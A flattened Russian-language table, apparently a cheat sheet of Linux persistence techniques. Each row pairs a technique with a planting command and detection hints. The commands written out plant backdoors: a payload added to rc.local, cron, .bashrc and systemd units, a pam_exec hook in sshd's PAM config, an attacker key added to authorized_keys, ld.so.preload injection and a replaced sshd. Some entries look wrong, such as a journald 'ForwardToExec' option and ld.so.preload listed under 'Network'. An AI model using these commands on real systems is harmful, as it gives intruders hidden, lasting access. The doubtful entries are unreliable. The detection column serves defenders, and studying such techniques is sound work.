Init System |
systemd service |
Создаём unit-файл /etc/systemd/system/backup.service → ExecStart=/usr/bin/payload WantedBy=multi-user.target |
systemd стартует при загрузке |
systemctl enable backup.service |
systemctl list-units , journalctl -u , новый файл в /etc/systemd/system |
Init System |
rc.local |
Добавляем строку /usr/bin/payload & в /etc/rc.local |
rc.local исполняется на boot (SysV) |
echo '/usr/bin/payload &' >> /etc/rc.local; chmod +x /etc/rc.local |
Изменённый timestamp rc.local, новый процесс на boot |
Cron |
cron @reboot |
echo '@reboot root /usr/bin/payload' >> /etc/cron.d/sys-upd |
Cron вызывает скрипт при каждом перезапуске |
crontab -e или файл в /etc/cron.d |
cat /var/spool/cron , grep payload в crontab |
Cron |
Hidden interval |
*/30 * * * * root /tmp/.x/payload в /etc/crontab |
Выполняется каждые 30 мин |
echo '*/30 * * * * root...' >> /etc/crontab |
Необычный путь в crontab, логи /var/log/cron |
User-level |
Shell init files |
Добавляем bash -c /home/user/.cache/.p в ~/.bashrc / ~/.profile |
Загружается при инт. shell / login |
echo 'bash -c ~/.cache/.p &' >> ~/.bashrc |
diff ~/.bashrc; ps aux |
User-level |
~/.config/autostart (Desktop) |
payload.desktop в ~/.config/autostart/ → Exec=/usr/bin/payload |
Стартует при X11/Wayland сессии |
Создать desktop файл |
.desktop с подозрительной Exec строкой |
Kernel Modules |
Loadable LKM |
Компилируем и грузим insmod rk.ko ; добавляем в /etc/modules-load.d/rk.conf |
Модуль поднимается при boot |
insmod , modprobe rk.ko |
lsmod новый модуль, dmesg о загрузке |
LD_PRELOAD |
Hijack libc |
Создаём export LD_PRELOAD=/usr/lib/libhijack.so в /etc/profile |
Каждый запуск динамического бинаря загружает so |
Edit /etc/profile |
Проверка env var, ldd показывает injected so |
Pluggable Auth |
PAM backdoor |
Добавляем auth optional pam_exec.so /usr/bin/payload в /etc/pam.d/sshd |
Каждый ssh-логин вызывает payload |
Edit pam.d |
diff /etc/pam.d/* ; auth.log shows exec |
SSH |
Authorized_keys |
Вставляем свой публичный ключ в ~/.ssh/authorized_keys |
Позволяет без‑парольный вход |
echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keys |
Новый ключ fingerprint, wtmp lastlog |
SSH |
Backdoored sshd |
Перекомпилируем OpenSSH с бэкдором, заменяем /usr/sbin/sshd |
Демон стартует как обычно |
make && cp sshd /usr/sbin/ |
md5sum mismatch, pkg verify fails |
System Binaries |
Path hijack |
Создаём /usr/local/bin/ssh (malicious) раньше в PATH |
Команда ssh обращается к нашему бинарю |
Place fake binary; chmod +x |
which ssh, checksum diff |
Timers |
systemd timer |
backup.timer + backup.service в /etc/systemd/system/ |
Запуск по расписанию |
systemctl enable backup.timer |
systemctl list-timers , timer file |
Udev Rules |
Device trigger |
/etc/udev/rules.d/99-rk.rules → RUN+="/usr/bin/payload" |
Срабатывает при подключении USB |
echo 'ACTION=="add", RUN+="/usr/bin/payload"' > rules |
udevadm monitor shows run, new rule file |
Journal Hooks |
systemd-journald exec |
systemd-journald supports ForwardToExec |
Пускает cmd при каждом лог-входе |
Edit /etc/systemd/journald.conf |
journald.conf diff, process spawn |
Network |
/etc/ld.so.preload |
Добавить so в preload for all bins |
Загрузка каждый запуск ELF |
echo '/usr/lib/librk.so' >> /etc/ld.so.preload |
File exists, ldd anomalies |